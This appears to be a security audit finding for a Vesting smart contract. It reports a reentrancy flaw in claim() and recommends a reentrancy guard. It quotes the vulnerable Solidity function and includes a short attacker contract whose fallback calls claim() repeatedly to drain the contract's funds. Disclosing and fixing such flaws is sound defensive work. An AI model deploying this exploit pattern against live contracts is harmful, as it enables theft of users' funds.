Blurry Mossy Mockingbird

high

# Reentrancy vulnerability in claim() function allow malicious user to drain funds from Vesting contract



## Summary
Reentrancy vulnerability in claim() function allow malicious user to drain funds from Vesting contract
## Vulnerability Detail
Claim() function includes external call to `msg.sender` before state changing. 


    function claim() external {
        address sender = msg.sender;

        UserDetails storage s = userdetails[sender];
        require(s.userDeposit != 0, "No Deposit");
        require(s.index != vestingPoints.length, "already claimed");
        uint256 pctAmount;
        uint256 i = s.index;
        for (i; i <= vestingPoints.length - 1; i++) {
            if (block.timestamp >= vestingPoints[i][0]) {
                pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;
            } else {
                break;
            }
        }
        if (pctAmount != 0) {
            if (address(token) == address(1)) {
                //@audit external call
                (bool sent, ) = payable(sender).call{value: pctAmount}("");
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
            //@audit state changing
            s.index = uint128(i);
            s.amountClaimed += pctAmount;
        }
    }

That call will trigger next `claim()` call in fallback function of `msg.sender` until contract emptied.

        contract MalisiousClaimer {
        address public victimVesting;

        constructor(address _victimVesting) {
            victimVesting = _victimVesting;
        }

        function start() public {
            victimVesting.call(abi.encodeWithSignature("claim()"));
        }

        fallback() external payable {
            if (msg.value <= victimVesting.balance) {
                victimVesting.call(abi.encodeWithSignature("claim()"));
            }
        }
    }
## Impact

All native currency could be drained from Vesting contract

## Code Snippet

https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/Vesting.sol#L67

## Tool used

Manual Review

## Recommendation

Consider adding reentrancy guard modifier